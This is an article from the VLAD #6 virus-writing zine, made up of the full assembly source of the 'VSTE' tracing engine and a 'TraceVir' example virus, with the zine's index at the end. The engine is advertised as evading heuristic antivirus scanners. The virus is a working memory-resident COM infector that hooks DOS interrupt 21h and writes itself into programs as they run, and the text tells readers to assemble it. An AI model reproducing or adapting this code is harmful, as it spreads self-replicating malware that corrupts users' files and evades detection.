Virus Labs & Distribution
VLAD #6 - TraceVir


;
;       The VLAD Surface Tracing Engine - VSTE
;                    by
;                Qark [VLAD]
;
;
; This engine works by calculating the length of the instructions, and
; continuously going through code, until it comes to a conditional
; jump, or an opcode it doesn't know.  Even though the engine doesn't
; normally tunnel far, because conditional jumps are so common, it is 
; extremely effective against heuristical scanners, always giving zero
; flags.
;
; Following the code for VSTE, is the source for a simple example virus.
; Cut and paste it to a separate file and rename this file to trace.asm
; Assemble the example virus using A86.
;
; On Entry:
;
; DS:SI = Offset of buffer to trace through.
; CS = DS = ES
; BX = Filehandle
; Buffer has to be at least 300 bytes long, and the filepointer should
; be as it was, if the buffer was just read.
;
; On Exit:
;
; DX:AX = The file pointer of the place to insert the jump.
; DS:SI = Buffer, whose first byte is the data that needs to be replaced
;         by a jump.
;

VSTE:
        mov     word ptr orig_si,si
        mov     word ptr last_inst,si

Recurse:
        mov     ax,word ptr orig_si
        cmp     si,ax
        jb      lseek_back
        add     ax,290
        cmp     si,ax
        jb      in_buffer

lseek_back:
        call    read_opcode
        jmp     recurse

Read_Opcode:
        ;Get current file pointer.
        mov     ax,4201h
        xor     cx,cx
        cwd
        int     21h

        mov     cx,dx
        mov     dx,ax
        
        mov     ax,word ptr orig_si
        add     ax,300
        sub     si,ax
        jnc     forward_seek
        neg     si
        sub     dx,si
        sbb     cx,0
        jmp     short do_seek
forward_seek:
        add     dx,si
        adc     cx,0
do_seek:
        mov     ax,4200h
        int     21h

        mov     ah,3fh
        mov     cx,300
        mov     dx,word ptr orig_si
        int     21h
        
        mov     si,word ptr orig_si

        ret

in_buffer:
        ;Start checking opcode lengths and acting upon them.
        mov     al,byte ptr [si]
        cmp     al,0e9h
        je      do_jump
        cmp     al,0e8h
        je      do_jump
        cmp     al,0ebh
        je      do_jumpsh
        
        cmp     al,9ah          ;callf
        je      abort
        jmp     check_opcodes
do_jump:
        mov     ax,word ptr [si+1]
        add     ax,3
        add     si,ax
        jmp     recurse
do_jumpsh:
        mov     al,byte ptr [si+1]
        add     al,2
        cbw
        add     si,ax
        jmp     recurse
        
check_opcodes:
        ;x6 x7 xe xf where 0x-5x = 1 byte               =
        ;4x 5x = 1 byte                                 =
        ;9x = 1byte except 9ah                          =
        ;7x = abort                                     =
        ;cd = 2                                         =
        ;cx where > x7 = abort                          =
        ;6x = abort                                     =
        ;dx where > x3 = abort                          =
        ;ex = abort, except in the case of jumps        =
        ;fx = 1 byte, except in x6 x7 xe xf             =
        ;bx where > x7 = 3 bytes, else 2 bytes          =
        ;ax where > x9 = 1 byte, x4-x7 = 1 byte         =
        ;for 0x - 3x, xc 4x = 2 bytes,  xd 5x = 3 bytes
        ;x0 - x3 and x8-xb, 0x - 3x handle r/m



        mov     ah,al
        and     ah,0f0h
        and     al,0fh
        
        ;ah=0x al=x0

        cmp     ah,40h
        je      one_byte         ;dec/inc
        cmp     ah,50h
        je      one_byte         ;push/pop
        cmp     ah,60h          ;286+
        je      abort
        cmp     ah,70h          ;cond jumps
        je      abort
        cmp     ah,0c0h
        je      check_int
        cmp     ah,0e0h         ;misc jumps
        je      abort
        cmp     ah,90h          ;nop etc xchg
        je      one_byte
        cmp     ah,0f0h
        je      handle_fx
        cmp     ah,0b0h
        je      handle_bx
        cmp     ah,0a0h
        je      handle_ax
        cmp     ah,0d0h
        je      handle_dx
        cmp     ah,80h
        je      handle_8x

        cmp     ah,40h
        jb      handle0_3x
        
        jmp     abort

abort:
        call    read_opcode
        mov     ax,4201h
        xor     cx,cx
        cwd
        int     21h
        sub     ax,300
        sbb     dx,0
        mov     cx,dx
        mov     dx,ax
        mov     ax,4200h
        int     21h

        ret

;----------
;cx comes here
check_int:
        cmp     al,0dh
        je      two_byte
        cmp     al,7
        ja      abort
        cmp     al,4
        jb      abort
        jmp     handle_rm

;----------
three_byte:
;Move three bytes forward
        inc     si
two_byte:
;Move two bytes forward
        inc     si

;Move one byte forward
one_byte:
        inc     si
        jmp     recurse

;----------
handle_bx:
        cmp     al,7
        ja      three_byte
        jmp     two_byte

;----------
handle_fx:
        and     al,6
        cmp     al,6
        jne     one_byte
        ;I think ?
        jmp     handle_rm

;----------
handle_ax:
        cmp     al,5
        jb      do_ax_long
        cmp     al,8
        je      do_ax_long
        cmp     al,9
        je      do_ax_long
        jmp     one_byte
do_ax_long:
        jmp     three_byte
do_ax_short:
        jmp     two_byte

;----------
handle0_3x:
        cmp     al,4
        je      two_byte
        cmp     al,5
        je      three_byte
        cmp     al,6
        je      one_byte
        cmp     al,7
        je      one_byte
        cmp     al,0ch
        je      two_byte
        cmp     al,0dh
        je      three_byte
        cmp     al,0eh
        jae     one_byte
        jmp     handle_rm
;----------
handle_dx:
        cmp     al,3
        ja      abort
;----------
handle_8x:
        jmp     handle_rm

;----------
handle_rm:
;handles r/m instructions

        ;handle the 'arop' instructions differently
        mov     word ptr immediate,0
        mov     al,byte ptr [si]
        cmp     al,0c6h
        je      immed_mov
        cmp     al,0c7h
        je      immed_mov
        cmp     al,80h
        jb      not_arop
        cmp     al,83h
        ja      not_arop
immed_mov:
        mov     word ptr immediate,1
        test    al,1
        jz      not_arop        ;must be byte ptr
        cmp     al,83h
        ja      word_c7
        test    al,2
        jnz     not_arop
word_c7:
        mov     word ptr immediate,2
        
not_arop:
        ;

        inc     si
        mov     al,byte ptr [si]
        and     al,0c0h

        cmp     al,0c0h
        je      zerobytedisp
        cmp     al,0
        je      checkdisp
        cmp     al,80h
        je      twobytedisp
        
        add     si,word ptr immediate
        jmp     two_byte

checkdisp:
        mov     al,byte ptr [si]
        and     al,7
        cmp     al,6
        je      twobytedisp
zerobytedisp:
        add     si,word ptr immediate
        jmp     one_byte
twobytedisp:
        add     si,word ptr immediate
        jmp     three_byte
;----------

immediate       dw      0

orig_si         dw      0       ;The starting address of the buffer
last_inst       dw      0       ;The address of the last instruction calculated


==================== cut here =============================================


;
;       VSTE test virus.
;
; Tests the surface tracing abilities of the VSTE engine. Seems to work ok
; so far, although programming to fit the engine seems a bit messy.
; This virus is a lame TSR COM infector.
;

        org     0

        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        push    bp

        cld

        call    next
next:
        pop     si
        sub     si,offset next

        mov     ax,4b78h
        int     21h

        cmp     ax,784bh
        je      exit_virus

        mov     ax,ds
        dec     ax
        mov     ds,ax

        cmp     byte ptr [0],'Z'
        jne     exit_virus

        sub     word ptr [12h],((offset v_mem/10h)+1)
        sub     word ptr [3],((offset v_mem/10h)+1)

        mov     ax,word ptr [12h]

        mov     es,ax
        push    cs
        pop     ds

        xor     di,di
        mov     cx,offset virus_size
        push    si
        rep     movsb

        ;Set int 21.
        mov     ds,cx
        mov     si,21h*4
        mov     di,offset i21
        movsw
        movsw

        mov     word ptr [si-4],offset int21handler
        mov     word ptr [si-2],es

        push    cs
        pop     es

        pop     si

exit_virus:
        mov     di,100h
        org     $-2
ret_off dw      100h

        mov     ax,20cdh
        org     $-2
f2      dw      20cdh

        stosw

        mov     al,90h
        org     $-1
f1      db      90h

        stosb
        sub     di,3
        
        sub     di,si
        sub     di,offset jump -1

        sub     di,3

        mov     word ptr cs:[si+offset jump],di

        pop     bp
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        jmp short $+2
        db      0e9h

        jump    dw      0

        db      'TraceVir by Qark/VLAD',0
        db      'This virus tests the VSTE engine',0

res_test:
        xchg    ah,al
        iret

int21handler:
        cmp     ax,4b78h
        je      res_test
        cmp     ah,4bh
        je      infect

int21exit:
        db      0eah
        i21     dd      0
Infect:
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
        push    bp

        mov     ax,3d02h
        call    int21h
        jnc     open_ok
oinfex:
        jmp     infect_exit
open_ok:
        mov     bx,ax

        push    cs
        pop     ds
        push    cs
        pop     es

        mov     dx,offset buffer
        mov     cx,300
        mov     ah,3fh
        call    int21h

        cmp     word ptr buffer,'ZM'
        je      oinfex

        mov     ax,5700h
        call    int21h
        mov     word ptr time,cx
        mov     word ptr date,dx

        and     cl,1fh
        cmp     cl,2
        je      oinfex

        mov     ax,4202h
        xor     cx,cx
        cwd
        call    int21h

        mov     word ptr fsize,ax

        mov     ax,4200h
        xor     cx,cx
        mov     dx,300
        call    int21h
        
        mov     si,offset buffer
        call    vste

        push    ax
        add     ax,100h
        mov     word ptr ret_off,ax

        mov     ax,word ptr buffer
        mov     word ptr f2,ax
        mov     al,byte ptr buffer+2
        mov     byte ptr f1,al        

        mov     byte ptr buffer,0e9h
        pop     ax

        add     ax,3
        mov     cx,word ptr fsize
        sub     cx,ax

        mov     word ptr buffer+1,cx

        mov     ah,40h
        mov     cx,300
        mov     dx,offset buffer
        call    int21h

        mov     ax,4202h
        xor     cx,cx
        cwd
        call    int21h

        mov     ah,40h
        mov     cx,offset virus_size
        xor     dx,dx
        call    int21h

        mov     ax,5701h
        mov     cx,word ptr time
        and     cl,0e0h
        or      cl,2
        mov     dx,word ptr date
        call    int21h

        mov     ah,3eh
        call    int21h
        
infect_exit:
        pop     bp
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf
        jmp     int21exit

int21h:
        pushf
        call    dword ptr cs:i21
        ret

        include trace.asm

fsize   dw      0
date    dw      0
time    dw      0

virus_size:
buffer  db      300 dup (0)
v_mem:
- VLAD #6 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Resist!
ARTICLE.2_2       IBM-AV
ARTICLE.2_3       MIME Disasm
ARTICLE.2_4       Dark Fiber Tunneling
ARTICLE.2_5       Bait Detection
ARTICLE.2_6       MCB Stealth
ARTICLE.2_7       RHINCE2

ARTICLE.3_1      

Win95 Intro
ARTICLE.3_2       Win95 tute
ARTICLE.3_3       PE header format
ARTICLE.3_4       Bizatch
ARTICLE.3_5       The Boza Situation
ARTICLE.3_6       Bizatch News
ARTICLE.3_7       What's Next ?

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Gilgamesh
ARTICLE.4_3       VIP
ARTICLE.4_4       SVL 1.2
ARTICLE.4_5       TFIWWB
ARTICLE.4_6       nimd00d3
ARTICLE.4_7       386 Virus

ARTICLE.5_1      

CLME Disasm
ARTICLE.5_2       Timber Wolf
ARTICLE.5_3       Serrelinda
ARTICLE.5_4       Insert v1.7
ARTICLE.5_5       Backwards
ARTICLE.5_6       TraceVir
ARTICLE.5_7       Lapis Lazuli

About VLAD - Links - Contact Us - Main